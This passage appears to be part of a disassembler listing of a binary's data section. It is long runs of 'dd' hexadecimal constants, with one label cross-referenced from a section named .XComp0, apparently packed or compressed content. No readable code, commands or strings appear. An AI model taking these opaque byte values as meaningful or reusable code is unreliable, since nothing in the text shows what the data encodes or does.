		dd 126C14B5h, 0ACB30996h, 62D21178h, 0E5F3A000h, 0D613AD6Fh
		dd 311E8F01h, 2649103Fh, 6011FCD4h, 0E806609Bh,	0A707F66Eh
		dd 5F45D12h, 2590F1F0h,	8B200B0h, 0C72BDCD8h, 3E0164B1h
		dd 0D569989h, 0F820140Ah, 9C401CAh, 429274EEh, 30FCD186h
		dd 0DE0CF968h, 11817179h, 22995FCCh, 6CD2ED88h,	24957403h
		dd 90CF199Bh, 92459A41h, 6C20F9ECh, 0E6C10080h,	9FD497CCh
		dd 9C00EEBFh, 0DEC987E4h, 16081298h, 0D3D69Eh, 54C5A3Ch
		dd 0A501C50Fh, 0D569FC47h, 7CE4412Eh, 9A12019Bh, 28754D8Bh
		dd 7F2C308Fh, 43CB5600h, 0D1624EFAh, 0A9A6059Eh, 0A195BE3Bh
		dd 24D6CE70h, 205C2B40h, 69C6005Eh, 0C5DF51BBh,	0E13C4752h
		dd 9DD08F7Bh, 0F142A79Ah, 0FCEA18E2h, 82378C88h, 0D2001BC4h
		dd 0DFA60170h, 0C9135Ch, 7F2F4962h, 9D5D6CD6h, 7980E4EBh
		dd 69548312h, 0DF064202h, 7767E0A4h, 8CA74933h,	34D7F03h
		dd 29D8F3DAh, 8A005CC8h, 0C6A70BAEh, 6943Eh, 12E7611Fh
		dd 3342042Bh, 87E5CF3Ch, 324F0AF9h, 9F9072E7h, 625FACh
		dd 24C9EA05h, 48DC68Ch,	9512100Eh, 0F876EF0h, 0DC8E67B4h
		dd 0B9CD09D0h, 0A7C0051h, 3FF8D037h, 61008555h,	0BFFA8A5Eh
		dd 1C57CD11h, 400AECC4h
		dd 0D13EF682h, 0DA1C3F1Bh, 5A406D74h, 0DC51A4FCh, 58F900C3h
		dd 76A02268h, 0D9007A9Fh, 0B97EA9F5h, 0B33286Ah, 0F641E6FAh
		dd 0FC50FA80h, 480738B1h, 118DE35Eh, 609C4D02h,	51A832h
		dd 6BFA0BBDh, 3A93CB14h, 2630A1B0h, 7AA4FCB1h, 0E840E14Bh
		dd 5BE0185Ah, 4DA8CBh, 3634A29Dh, 39A15EB2h, 35809AE3h
		dd 0B1B7E931h, 792E4CFDh, 6100605Bh, 87DDD2D3h,	0F05F076Ch
		dd 91C7FB58h, 20D10ECBh, 2E2C8370h, 39E03865h, 1387C3F1h
		dd 40ACF078h, 0FD973184h, 180075D3h, 5D51136h, 0BE1FC9A2h
		dd 0CF1C003Ch, 5FDBEB49h, 74ED9B00h, 7A421D33h,	0F856006Ah
		dd 47807B68h, 0C600D66Ch, 0E4CB768Fh, 1719326Eh, 356957Ah
		dd 5A9A24B7h, 1B280880h, 0FB0A4500h, 72CA8CF9h,	0B5793E4Fh
		dd 20C9C100h, 175CFE03h, 525F681Eh, 3950B384h, 0F46B24F0h
		dd 46990064h, 98DC6923h, 19133D0Bh, 0A716AF4Bh,	0D19C8000h
		dd 4E2C15h, 0F868BE40h,	7DC79441h, 4A9E3102h, 0E0C3E218h
		dd 0F73B28h, 0B19FF015h, 0BDD49194h, 39004F71h,	464025E7h
		dd 0E2D09061h, 0D7C40078h, 60693CD6h, 0E7000EE8h, 0BFA006B0h
		dd 2C373B86h, 80A0C464h, 4BEEF802h, 4912AF69h, 8416D750h
		dd 0BB302Ch, 0DFD32F3Bh, 24433C7Dh, 1838E703h, 0F092317Eh
		dd 1C16A61Eh, 0DE897393h, 0F4A780E0h, 8A1026EEh, 0DE3D0D00h
		dd 0C1D3A90h, 0A09007Fh, 0B43438C1h, 0C0269750h, 0ED09117Ch
		dd 1A8C01ABh, 99D4C73Ah, 28EB0052h, 2791A612h, 560FC81Fh
		dd 0C4320A2Dh, 44C051CEh, 583EF1F0h, 730E5477h,	0D13D58h
		dd 294A26F3h, 0A19810h,	0E6AE75A9h, 49A045FBh, 29C9F3EAh
		dd 0FCD38081h, 71F7257h, 5982F75Ah, 0B7BD102Dh,	21E22FE3h
		dd 950348h, 0D64AEFEAh,	3BE0997h, 4257A099h, 0A0AFDBB9h
		dd 8F7E81E0h, 8BBDA300h
		db 0C7h
byte_515545	db 0C9h, 39h, 0DCh	; DATA XREF: .XComp0:00452C8Co
		dd 0E92C007Bh, 33E1CB3Ch, 2E002D4Ah, 90328EB9h,	29A3F5Ah
		dd 0C47E03Bh, 0BBC0FBCFh, 2071DD4h, 1A7D4ACCh, 1C0004C7h
		dd 0FEB26F3Ch, 0C4710088h, 0EC677B4Eh, 5C1E3BE3h, 0EE8EDEC8h
		dd 530480D1h, 58347F1Eh, 0BD002DD2h, 0FFF5E599h, 5B384D59h
		dd 17418AD9h, 74249F35h, 0C7EC0E00h, 110CBEh, 26DAE65Fh
		dd 0A3890F72h, 479A4900h, 0DFE0C64Eh, 3E20FC13h, 0ADAD4F88h
		dd 0B534D0B0h, 6210E00h, 301383CBh, 3490A7h, 0A00BFD3Eh
		dd 0EA7E5078h, 41A88500h, 7F3D6AB6h, 0A98807E7h, 80E49D04h
		dd 74D0891h, 7CDCC60Bh,	4CCF07D7h, 12476A9h, 0E80EABBFh
		dd 1C62F6CAh, 1B594882h, 5D488155h, 0E075F127h,	0F9820h
		dd 3FF5A45Ch, 0B9D22171h, 28062C00h, 38849424h,	8F993E46h
		dd 0D064C0DFh, 0EF00504Ch, 170DD54Dh, 89B2F4h, 870E614Fh
		dd 0FDC575BBh, 325AF77h, 0AC30804Dh, 0A1E57Ah, 0E40A0C58h
		dd 0AF55633Ch, 55EED00h, 74522EEBh, 1B920043h, 6B7EC0CBh
		dd 0B60F154Ch, 809C02AAh, 5574C4A5h, 0DF5A0928h, 7180DC33h
		dd 35DB0E4Ch, 34FBF800h, 423B6914h, 0D2DE096Ah,	4E892A84h
		dd 9D16B47Ch, 1E127CB0h, 4B154FBFh, 0E8509BEAh,	0E718522Eh
		dd 34D6A91Ch, 813AC300h, 4C2AB864h, 49063431h, 10B6CF4Ah
		dd 0C4727B00h, 0A0BA6DBh, 8FB52C90h, 0EA5100E0h, 0CAFA4E2Fh
		dd 0CB0538h, 0EF5D5B1Bh, 701781F3h, 0B71D0254h,	30B9F896h
		dd 4A30FF70h, 0F0E0F6D5h, 97770071h, 7F15E4D8h,	0F90F4F5Dh
		dd 407A8D0Bh, 17C075Ah,	510202A1h, 9B714C9Ch, 44D6A186h
		dd 0A01FDC00h, 0C3B72577h, 4B0C0B46h, 0A880B232h, 0C18D2D08h
		dd 870278B8h, 7282341Ch, 0B0045F41h, 0B801BE29h, 6DB71B58h
		dd 0B1E82DD9h, 90E5002Fh, 0DC9D7277h, 0ED3B6266h, 9A958C83h
		dd 0B2AA10DEh, 785A60ACh, 7F937F6h, 506E4300h, 0EA99F2Ch
		dd 14F400D9h, 0FB20265Eh, 31006781h, 7C17E9DBh,	0E42CDEBh
		dd 16F59570h, 800A92Bh,	0CF2D1507h, 0BF30F901h,	0BB0E27ACh
		dd 131E4C0h, 4F28B3C0h,	0CC39F5C5h, 6B0B1F8Bh, 0E08A221Bh
		dd 3804EFCh, 0D2D4E28Ch, 18C88EE4h, 0DBFE33EFh,	6FA82F00h
		dd 0B42AE8A7h, 6546003Fh, 0CFF13BC1h, 2E0707ACh, 96B1B96h
		dd 16C70F0h, 6D7ED2h, 15A4C090h, 0A2F0A634h, 0EEEBAB0Ah
		dd 1B01A2D4h, 5ED53580h, 0C100382Ch, 912DCE34h,	0E074D9EBh
		dd 529D6117h, 7C134B4h,	5C064139h, 0BC0F1BB8h, 86C8F482h
		dd 840E4876h, 45E7E04Fh, 250790h, 7C49858Ah, 6E373FD6h
		dd 4E13A677h, 0E0F07A0Eh, 72C10022h, 0F795E9BBh, 65017541h
		dd 20CE1DF0h, 0C0D8FBFFh, 7F6B0066h, 0F71353E0h, 4F009A0Ah
		dd 71775E33h, 176BD3Eh,	0B7E67F35h, 0D0E0D84Ch,	657399FDh
		dd 63C9F309h, 4470C6h, 6BAD12Eh, 0D6B3358Bh, 0DC83342Eh
		dd 3117803Fh, 1DA1B7EFh, 0DDF91C64h, 5E20C754h,	1F12C001h
		dd 0F600285Dh, 0EB39B131h, 342B50h, 475F49FFh, 0A8B50A10h
		dd 5444F71Bh, 0A54ED011h, 3A1E989Ah, 243ABDEAh,	92C863ACh
		dd 4C344001h, 47C9730h,	610020EEh, 87099175h, 4E2F962h
		dd 0DDA798FCh, 6A47C086h, 0CE0E6645h, 3C396FA9h, 2E1FF700h
		dd 3860B72Ah, 2D00794Ah, 0D94D1EACh, 20303A2Fh,	0AFDD78F8h
		dd 0D4828041h, 46E1FE00h, 0A669BCDAh, 87C100EEh, 967FAE05h
		dd 0A948749Ch, 6C4F09C0h, 7CC47849h, 189A006Bh,	0DDD9F37h
		dd 0F200AC6Fh, 4753E42Bh, 1256F960h, 0C52A72h, 0B8FF6808h
		dd 0CB0077FDh, 2F546C8Bh, 0BF641CF4h, 36F1FC90h, 0BDAC413h
		dd 0F7FFB104h, 0F27D4080h, 40DE00E7h, 0B9FA30B1h, 6A3F3760h
		dd 230980C0h, 0DB5DA9BEh, 209E0039h, 3AFA35D2h,	7098C0D9h
		dd 0E08DB527h, 3BEBB3Ch, 33C46C0Bh, 0F0A716D1h,	341F6E77h
		dd 0ABDAD1Ch, 92002956h, 785AC6C3h, 90330076h, 82DB53D1h
		dd 28FCE9BCh, 0ABB81F1Ch, 952E1600h, 8FA087h, 4126DF27h
		dd 34EE9B0h, 0EF42C58h,	0C0D9A51Eh, 81DBC71Ah, 0D47426AFh
		dd 7C2F1F58h, 697A7980h, 90BED024h, 7073407Fh, 0B5CF231Ch
		dd 0FE8135C0h, 9778AD57h, 4EE4DC60h, 0C04219Dh,	1081E6C8h
		dd 5E981AB2h, 0DE58305Ch, 8C013F0Bh, 4470201Ch,	12B95F48h
		dd 0ECC9A3h, 6524FE08h,	0CF07207Ah, 56D76687h, 0E0007C2Fh
		dd 6B627BF7h, 0F1B3008Bh, 87BF3A05h, 0DE01DB09h, 66C8CB72h
		dd 0CC2F81C0h, 3907A4C4h, 4488DAF2h, 8343F5F0h,	8AC4D425h
		dd 0F978A300h, 0D5C4BAAAh, 7106F05h, 4B069BEh, 21F2FFABh
		dd 0ECD86538h, 9F09ED34h, 2060F224h, 0EFD72B50h, 0B82D0026h
		dd 0C0C4195Ah, 0B34B012Ch, 40C2F482h, 3F386114h, 90805943h
		dd 0E55BAD12h, 0F50F7049h, 0C06F89DFh, 0C6CF3936h, 137D90AAh
		dd 271B7D1h, 0CC4E8A84h, 7A00F0D8h, 871054FFh, 6B7FBAh
		dd 59567366h, 6D970A9h,	0DD5F0100h, 6E259947h, 0A7D600ECh
		dd 75803332h, 272A2ADh,	0D000B67Bh, 1FD2C5FAh, 5CA94025h
		dd 1E764C3Fh, 40BA1355h, 963CFC66h, 7D0EB793h, 0E10ECD31h
		dd 0C5DDE792h, 0E6D660h, 0E1822F78h, 0E90C8958h, 0B2E50200h
		dd 0EE40F471h, 0CCD9019Fh, 37C086DAh, 6F6021E3h, 8824C41Ch
		dd 0F63F5F00h, 1F618FECh, 8016D2A2h, 4BD7438Ah,	0B89437AAh
		dd 3AACD025h, 0CD005893h, 12152E18h, 0E60F8556h, 21637A8Fh
		dd 0E8D11DF3h, 30ABC940h, 0D8063B15h, 5CA926h, 8B3B0C6Eh
		dd 0C51CC147h, 0F18F35F9h, 0CE405F25h, 34FA38F6h, 0ED730E90h
		dd 1720B941h, 4789ACD7h, 0BC9D0700h, 0C1C29418h, 0C29B4AAFh
		dd 0F0E3D378h, 19894CC0h, 6630E197h, 0A4503BF5h, 40A7076h
		dd 1EA5BC7Ah, 2010E014h, 0F74FAE4h, 3E0FE671h, 0E624C561h
		dd 2E393829h, 90041B4h,	7C76688Ah, 85C0651Eh, 0C6139196h
		dd 800F4AACh, 31D427CCh, 9FD10A0Ch, 18FBC50h, 6AF9F73Dh
		dd 0E41AA3B3h, 87ECABA4h, 0C4E04D4Eh, 504B0015h, 997A033h
		dd 0D9B85816h, 370BBD70h, 91D6E1h, 50757D8h, 558F00B9h
		dd 0B1795F54h, 64008DFDh, 988F37Eh, 426F0Ah, 962A9C27h
		dd 28CB65DFh, 0F86E9100h, 5A892059h, 71E7E1Ah, 26DE5DBCh
		dd 0FD7F50F7h, 624BDCBh, 0B000A04Dh, 8F9A27E8h,	907029Dh
		dd 4394BE88h, 0E2005070h, 67A61142h, 0C39EEFh, 4F3CD110h
		dd 4A62F3E0h, 40FACC00h, 0DD32E4A7h, 389C0030h,	84519B3Ah
		dd 0EF05EAF5h, 55F1AE5h, 4E00D0ECh, 9904C45h, 0A23E2B40h
		dd 0F64D808Ah, 1D031434h, 0BE7F1D32h, 52634017h, 6B338193h
		dd 871E88A0h, 8F561B12h, 0BDF04B00h, 4CCB8691h,	2E0024DDh
		dd 3649ECE8h, 260CB32Ah, 0E0223205h, 0F6CBA2Fh,	38C91CACh
		dd 10BDD8F8h, 23FEF714h, 0AA6E00E5h, 928A6460h,	0C782004Ch
		dd 6FF9B8B4h, 8001287h,	0CE0B7D1Eh, 26E9AF4h, 0FDFC317Ch
		dd 3A416C32h, 0F188F44Fh, 9822BB09h, 968D86Dh, 64B66EAAh
		dd 65611079h, 803AF7AEh, 0BE9005DCh, 51F57F09h,	274C60ABh
		dd 241F3DEDh, 0C0405A1Fh, 9BC0675Dh, 0A5000B42h, 798C3143h
		dd 0E2D7B0FBh, 0C1F61883h, 0DCC1181h, 0F607658h, 8002A182h
		dd 0A8E1E8A6h, 97DC014Ch, 0C5F144Ah, 1DE06073h,	0B04B9931h
		dd 14301072h, 4C0B0F58h, 38203579h, 394B6591h, 0B5D850C0h
		dd 0DEBA9Fh, 1AE70E95h,	9E4C76C6h, 0E1D540C6h, 0B050F996h
		dd 0B43D06h, 58FABC5Fh,	0C7C2EC2Ch, 0F4C6962Ch,	83E0160Bh
		dd 0BC0C4Dh, 0D6A9CD10h, 0BE76902Dh, 82599700h,	0AC103D8Bh
		dd 0E352099Eh, 9800B925h
		dd 2968A4A0h, 8D240F13h, 8022840Eh, 0A296449Fh,	81E485Fh
		dd 340EF700h, 2063552Eh, 0E4434005h, 0C8A86FF8h, 0A6D59D00h
		dd 0B7AA951Bh, 4F4EA209h, 1CAC7099h, 4073BF09h,	24B06494h
		dd 4803E8BCh, 87CED63Bh, 0BEDC02Fh, 0A65D00ABh,	6310F501h
		dd 0A10007CDh, 4694AA60h, 21C33Ch, 0F9015E69h, 0E7B7667Eh
		dd 2F196B07h, 95D0594Dh, 4E5D15Bh, 818D2E8h, 80D8EC7Dh
		dd 0ADEDE3BEh, 0E209065h, 0D98ED6FEh, 8A7B41DFh, 0CCF0D455h
		dd 6B00F591h, 0E4896326h, 73B79EDCh, 8AF45Ah, 0A2EAC5EFh
		dd 18DA44B4h, 3A870A1Dh, 0B1D5FEC0h, 17E90142h,	0E3AFA4D8h
		dd 86C9BC00h, 1CF4704Eh, 72470033h, 0F0E7B283h,	0B8A0F5F7h
		dd 0F2161317h, 20038FCh, 971BB4E4h, 0EEC61222h,	97B8F837h
		dd 2232CE0h, 199C7011h,	0C6015B0h, 4003D2Ch, 0F33E88CBh
		dd 0B872F7h, 8BCA907Ch,	0D3441A8Eh, 0EC5B5300h,	5778A64Eh
		dd 3BE3163Fh, 1A4D0043h, 10A4E0F3h, 53852900h, 0D94BCD81h
		dd 0F24700B4h, 0BF484055h, 0FB0F1E59h, 605141EBh, 0DF3C72FFh
		dd 8E6207E3h, 801A2908h, 2B5ECC45h, 68862507h, 74E9ED72h
		dd 821E68h, 699BDE95h, 19735D1Eh, 0A3012171h, 51B37623h
		dd 1231B62Fh, 24540ECCh, 8128D6F0h, 7E8702D7h, 0F31880B4h
		dd 0DCEBBE10h, 760F389Fh, 85D3E400h, 0F72419A6h, 0FE7A4100h
		dd 3E6CBA1Fh, 5CAA4C1Dh, 9328C800h, 0ABD3897Ch,	0E8A7FCE9h
		dd 0F514E89Fh, 8CD709A0h, 0A0D23B33h, 3986C700h, 73440A3Dh
		dd 0BC2205FEh, 80CC3729h, 7196EAF4h, 0AE2A2339h, 8B00E52Dh
		dd 326426B8h, 98E75DCh,	0A17E8A45h, 9D2404A0h, 707B8F05h
		dd 0CFC12A00h, 0C9E10A7Dh, 0B38906ABh, 9105DC23h, 0A260BBFEh
		dd 24D32839h, 631C3A39h, 0C293450Ch, 0F37C2618h, 7F2C8E00h
		dd 3003EDDEh, 0A20B00ECh, 2B8AB882h, 4700C23Dh,	56EB2FBBh
		dd 11F4DAh, 60412423h, 0C1C44E33h, 0FB0DAA01h, 39BEDB71h
		dd 7C8480FCh, 0E89D01A4h, 6E8E2522h, 725360A1h,	9854D301h
		dd 35A027A2h, 141281DCh, 5CDB2EE1h, 0A5961B08h,	924180BBh
		dd 24031D15h, 9A63003Eh, 0B4C1E893h, 232A9E89h,	948678E5h
		dd 0F0CB2832h, 268B001Ah, 7A508A49h, 0E9502E10h, 50388F1Ch
		dd 0CD00F9C2h, 0D740A32Fh, 1FB10710h, 0DC585CA6h, 594C19Fh
		dd 0C0ED3580h, 0A93AA7D9h, 548E00C5h, 0AFEFCC91h, 0CD7B0062h
		dd 0C392127Eh, 0AB75F3A8h, 0D4ADB807h, 1FF043F2h, 2E7A300Fh
		dd 65D0AEh, 0FF89C9A1h,	30F3E4EAh, 0FFCE057h, 428D1E00h
		dd 0BFDD3BEEh, 56F00DCh, 0FB80D1C4h, 0A313BDB3h, 0E30E11DAh
		dd 9E5E0ACh, 0FF707CAh,	336DC74Bh, 0DD73FD80h, 0F300A70Ch
		dd 0D8FABBCDh, 0EC56BAh, 0A6395510h, 0E592CE28h, 0B12DB800h
		dd 84FAC3DAh, 0C1DE1CA8h, 5544003Dh, 4147C4EEh,	888C6AF3h
		dd 0FC0E17Bh, 0F3FC69h,	446BABBh, 0F7342693h, 2D65C91Fh
		dd 4777C700h, 7641DCFh,	6F98F81Eh, 81068321h, 0E09903A1h
		dd 7000F22Eh, 0FBF5ECE0h, 19C07B8h, 84950F3h, 0C833BBD0h
		dd 4A1D6B0Eh, 1E1F8B01h, 433B7CFCh, 2B701EFFh, 98776E0Eh
		dd 4C2E7630h, 3C3A97C1h, 45140E00h, 0DD6C1D04h,	0BE28F674h
		dd 48F64DFh, 2BE9505Fh,	68109460h, 12D00Ah, 8F81A7D8h
		dd 0E17A093h, 0B9AF4312h, 1DD8888h, 681CE9CCh, 0E504FAC9h
		dd 0F30898E3h, 0D4FE21h, 68E435E9h, 9FAC2ED1h, 7F31277Bh
		dd 0E21850A6h, 22EA3085h, 0CCCFC92h, 7173C627h,	6C1C001Dh
		dd 9B774ACBh, 0B60F8B93h, 0C1BF395Fh, 0BC8FC62Ah, 0A0BD2883h
		dd 78BEC31Ah, 0D25C7278h, 0E0A9615Ah, 89FC622Bh, 709AE648h
		dd 60C274C1h, 244531D8h, 3C00E362h, 20FA6322h, 0F7B02AE6h
		dd 20908046h, 0F8FB984Bh, 1341731Ch, 80D46891h,	89D16235h
		dd 0D5448C38h, 648E004Bh, 32BFB910h, 60DF0970h,	0AF42A142h
		dd 0CBACB0B8h, 9B2351E9h, 88F8AC18h, 0E900D3FBh, 0AA648476h
		dd 0E21C78C7h, 0C8E07A12h, 32C0D399h, 2989D062h, 6080C190h
		dd 0F2648B4Ah, 97E25E03h, 0DE4FE90Ch, 38061E68h, 745FCCh
		dd 2CE8763h, 0AF03E96Eh, 0FFC46848h, 617F126h, 1798841h
		dd 541258BCh, 0D2C43E4h, 89001348h, 3E60432h, 4EDC7C5h
		dd 8712B5B3h, 724090EAh, 3C07399Bh, 0ED6078D7h,	76850470h
		dd 0D480068h, 33B2E8BDh, 8909CF97h, 0FA7D263h, 0A1BE004h
		dd 619B6994h, 40176941h, 75818AA4h, 0D71188CEh,	0CC623680h
		dd 0D4AC3089h, 4ED944h,	0F7E3648Fh, 91727FA7h, 51B8C733h
		dd 0C51BA1FBh, 0CD00342Dh, 1C35CBD1h, 0C11924C3h, 92085B2Eh
		dd 0B9E42180h, 481888CBh, 0F1811160h, 460E6Ch, 5DEB4F5Bh
		dd 8030ACDFh, 6D44F606h, 2A290690h, 9F8BFF8h, 0CFE82842h
		dd 3011807h, 0FEE87944h, 4C909577h, 18226A0Ch, 12020C5h
		dd 0AD6E42E1h, 0C1CD5Eh, 402C303Eh, 0B430AE2Fh,	0CF07C8E4h
		dd 0A410507Ah, 202EF424h, 310976F5h, 11C0C6A0h,	6BD0DAA8h
		dd 20E2635Bh, 994AD3E9h, 0FF3E5B0h, 9E810E9Fh, 46A52DA5h
		dd 4184FDE8h, 373120F0h, 8C0B19AFh, 6064420h, 7422633Ch
		dd 0FD289878h, 0D93E7897h, 0EC5B181Bh, 0F718C670h, 0C10AC001h
		dd 0A9308028h, 20C1E0B4h, 858D3C41h, 2B006169h,	4527D57Eh
		dd 2FA1E119h, 21800209h, 757E506Eh, 2E0086A2h, 14307C17h
		dd 143216E0h, 88FB2054h, 2102073Bh, 299C2B06h, 0FF8E0468h
		dd 14A29344h, 0A4E1245Ah, 0C0085124h, 1C37CBB7h, 9622B346h
		dd 0CBBFEE03h, 0A080DB25h, 0FCFE158Eh, 8F9C0BEh, 0D7DA6C33h
		dd 0C947A73Bh, 30860004h, 5260EA6Eh, 567F0045h,	40820D8Bh
		dd 0D6793998h, 0FE0EF102h, 9927EA31h, 3308C1C0h, 20BED700h
		dd 8E98BB96h, 7F0E13F2h, 23602F70h, 0A94600D9h,	0E292DF0Bh
		dd 96ED6506h, 369E8F3h,	8A03D074h, 93B1E9C5h, 0BA17309Bh
		dd 0B0303D12h, 8D05054h, 20AFCF54h, 711F46A0h, 1C39CB04h
		dd 8B322523h, 0CBB5E820h, 0E1F60Ch, 514B3AF5h, 0CADA6392h
		dd 0A686DCA0h, 0DFCB80A8h, 6E0EAE03h, 0F01084C2h, 4CDD8B50h
		dd 9E18E3B8h, 0B6CD085Fh, 18F01734h, 25AF1C82h,	221049A0h
		dd 249BF002h, 18BE80C1h, 19E908D5h, 0E4C4E168h,	0E9DDFD40h
		dd 0E0050A5h, 7B4AC6C5h, 4C1FF9DEh, 55807C7Ch, 0CDE3FF6Eh
		dd 383D1058h, 1493BBEh,	282E6F79h, 23E81225h, 0E14A0082h
		dd 5393CEB9h, 0F0C1F358h, 0DBC64C1Ch, 1219420h,	0CFDF0DCDh
		dd 80F38691h, 0AF73AB61h, 1B2CB8Ah, 0C8FF8580h,	8013C544h
		dd 0F9CEDFE0h, 1E604066h, 1D38CBFh, 46BEEA21h, 5CE9800Dh
		dd 111B1CEFh, 0B4AF0379h, 71FE18F7h, 0CF2C819Ch, 0E488FF90h
		dd 88C1E352h, 0FC128C29h, 0E74D464h, 0A32E6C8Fh, 0F5E8A0D4h
		dd 6F14008Ch, 67F20D1Ah, 0D4486432h, 0D1AD1D90h, 0C40EA112h
		dd 0C7C8605h, 84410A59h, 8E90068Eh, 9E65D86Fh, 17100573h
		dd 0C6F4203Eh, 0E5543A1Bh, 4890FDA0h, 0C3011546h, 931C2BCBh
		dd 88910C2Ah, 0CB01ABE2h, 0F5080F11h, 1030946Fh, 28031FD5h
		dd 0A2624F8Eh, 0B8A80417h, 1DB60B25h, 83D911D0h, 0C235AF1h
		dd 99C81724h, 140E7181h, 235EA858h, 0FA6016C4h,	5CAC6039h
		dd 8194A0DFh, 9C550676h, 0E8D41F73h, 897E8B0Eh,	226B42CEh
		dd 75D4A4ECh, 30DE08C2h, 0B7116237h, 0E2882889h, 64908180h
		dd 4416B7Dh, 0C4E6BAA9h, 0E1DC8223h, 0A14DE0A3h, 83C034B9h
		dd 0B0538910h, 0DD700B0Eh, 3C48E9CEh, 110F6E04h, 0E5892AF0h
		dd 0B027C521h, 0D6832890h
		dd 5E232C57h, 0EEE8006Eh, 0AFCA2690h, 0DCD94902h, 8504381Eh
		dd 891C0A0h, 1D0C8724h,	27CA7E08h, 40F5C46Dh, 0AB7E155Bh
		dd 8A43EB9h, 0E1E08118h, 2214DE20h, 16DC04C0h, 0F0F41647h
		dd 0A29C00E6h, 0C8A60A8Fh, 9B039549h, 9E1FFF54h, 0B29DE27h
		dd 741A2038h, 9002270Bh, 74406621h, 94B1EA28h, 678D09BFh
		dd 0A21C0E91h, 0C4E9B90Dh, 0B4480008h, 279D712h, 681221CDh
		dd 708BFAA1h, 0D6C0DEC8h, 161BB727h, 5DBFE21Ch,	0C50062E4h
		dd 44616906h, 0F9689Fh,	9616679Dh, 3D303F53h, 6BC6BF06h
		dd 7938F693h, 0CA8F0120h, 0AE0426B1h, 38CC20D1h, 1574E040h
		dd 0E0A93B11h, 1F18263Ch, 310B38E8h, 0FAC32Ch, 0D21A118h
		dd 855E1428h, 60680B1h,	48D8801Bh, 4222CF79h, 9886529Bh
		dd 2A0A7800h, 5E08E7F7h, 62E41A09h, 0D8C8494Bh,	0CDFC3918h
		dd 11588923h, 924F00E3h, 4EFAEE64h, 91743E0Fh, 8EFDAC0Bh
		dd 2F1D7090h, 207A3F1Dh, 0EA1ACF81h, 0B610AF1Bh, 8A246389h
		dd 309EA0F5h, 0B13048EEh, 618FFD9Dh, 1CEA497Ah,	1839BE12h
		dd 0C819E393h, 8024999Eh, 9F75111Eh, 20008A62h,	3243FDE8h
		dd 1B230F19h, 0B9D4481Fh, 0CDF405E8h, 0FB92C000h, 0A5AA03D1h
		dd 15700E77h, 8AE58765h, 1DF880B0h, 6F04E92Eh, 0B6EDD1FFh
		dd 7721D1A0h, 0EEDC9A71h, 0E2F6204Bh, 1A1B3513h, 305700Fh
		dd 0E5F37Eh, 9B0D32A9h,	0F16949DFh, 0D5FC8EE6h,	25EA5014h
		dd 0FFCE80CCh, 2C3F1CC1h, 74ECCD6Ah, 0DB019146h, 3FB11C1Ah
		dd 0E8642C6Bh, 100F8CDFh, 32AA5AE3h, 1254C5Ch, 0E144A97Ch
		dd 438E1034h, 7E230285h, 511D27CCh, 1B696018h, 0FC006D7Eh
		dd 0BE3CF39Dh, 9D1EEF9h, 96E15DA7h, 0A2865C04h,	308AF204h
		dd 41E0B858h, 83F67900h, 276D77A7h, 9911335Eh, 30C64058h
		dd 0FD0DA090h, 10A63B8Ah, 8CB5A430h, 20E9D00Eh,	0F6887168h
		dd 0BCD9028Fh, 0ED31F200h, 457B416h, 265B89A5h,	46085F6h
		dd 80E9EEA4h, 0A0873804h, 8300255Ch, 7CA76917h,	497D4BB9h
		dd 0AC05C150h, 0FE9449FAh, 0CCE6D805h, 48C1AECh, 1C32CBD0h
		dd 0C094B2ABh, 0FACBB8E3h, 0FDA80901h, 8891C5B3h, 7100D748h
		dd 2C26A3FCh, 981D6Dh, 734A8AD0h, 85DEFF30h, 0B400A8B9h
		dd 0B8F32DA6h, 436B0037h, 0AE765B1Dh, 22308B48h, 0A73AE62Fh
		dd 1E9102F0h, 2066AA4Bh, 7071F0EAh, 3618E479h, 0F97BB518h
		dd 73DBEF81h, 2792002Ah, 0D19C0880h, 1001432Eh,	54CD64B2h
		dd 0A830868Dh, 17E440ABh, 9C98414Ch, 0F4D24BC4h, 70009309h
		dd 0C0542906h, 1DD4A650h, 1CC4852h, 92A07CA9h, 54D0A5C8h
		dd 401F45Bh, 22EA51A3h,	17CE43F4h, 4B17867h, 41465736h
		dd 4200C2D5h, 0E4E42445h, 26703860h, 0EABE1C18h, 889F69C1h
		dd 8D14080Dh, 4E0CDBFh,	0FA82266h, 0E5CFC083h, 10AE288Ch
		dd 0FC0376Bh, 29FD1007h, 0B6183050h, 1C3411CBh,	808C885Bh
		dd 0AFCBBEEDh, 567AB76Ch, 0BF9AEC05h, 0AC8C23E9h, 0C74720F5h
		dd 4BCBE58h, 0F87C1D24h, 5F1AA40h, 8C381993h, 9EE1806Ch
		dd 7042D7FBh, 66030144h, 0B032687Dh, 50C1807Bh,	0C882091Dh
		dd 0BA7E7862h, 4CFD7438h, 9188E8F4h, 0CD7A4580h, 98851D7h
		dd 0A573D4CFh, 8043E380h, 270B7D04h, 2986694Ah,	8DA0C090h
		dd 125A4E8Bh, 808C9BC8h, 5FAD890Eh, 458E12A1h, 0F9F00892h
		dd 0EA20D820h, 0C7AD11FBh, 730C0099h, 86B46027h, 0AA2F0264h
		dd 19EA7BA1h, 0A6F8A493h, 0CA83BA97h, 0A360E2EBh, 0B2EA1018h
		dd 0B1BC78FFh, 18EBD1BCh, 0F38613FCh, 5F0804Ah,	0FE001E58h
		dd 9362D6C4h, 7B4F25h, 9CE40A68h, 0CEF3B8E1h, 0C684090Dh
		dd 5420D8D9h, 6B93880Fh, 40FB64Eh, 6A17C50Eh, 28A07405h
		dd 6812141Fh, 40268822h, 0C0A0C8FCh, 2BF83D11h,	0EC004DF7h
		dd 0D920B04Ah, 2422A65Dh, 6C88CAEh, 0B150E9D2h,	0EB116800h
		dd 0DD15F82Fh, 75AC7AA8h, 0E03F007Eh, 679A46F5h, 8C008F81h
		dd 1E99820Dh, 4C5B4837h, 0C095381Dh, 0D5146DB8h, 40681A9Dh
		dd 0FF41D288h, 0E927A036h, 0DCFDCC20h, 700099E5h, 7F9F5ED6h
		dd 77334896h, 8BDCA0DAh, 22048685h, 1527CB7Eh, 6820EA62h
		dd 30307E1Ah, 66810948h, 0E170B27Ah, 51F89Fh, 0F02C1F20h
		dd 4A241EA9h, 42C27E2h,	0C512C0AAh, 0A680D09Bh,	3CC05C4Eh
		dd 0BCE02158h, 4B008C11h, 0B4F00F41h, 16AC5AD6h, 9096FE0Eh
		dd 0A77BD538h, 0FFF131C0h, 3B37BA53h, 0AF9D57F0h, 736E8521h
		dd 8B34B007h, 0DA376AE2h, 1070403Dh, 7736DEEh, 0A25487FFh
		dd 0B488E30Eh, 984E3FF2h, 0BEA13213h, 50D2EC40h, 5EDF225Ch
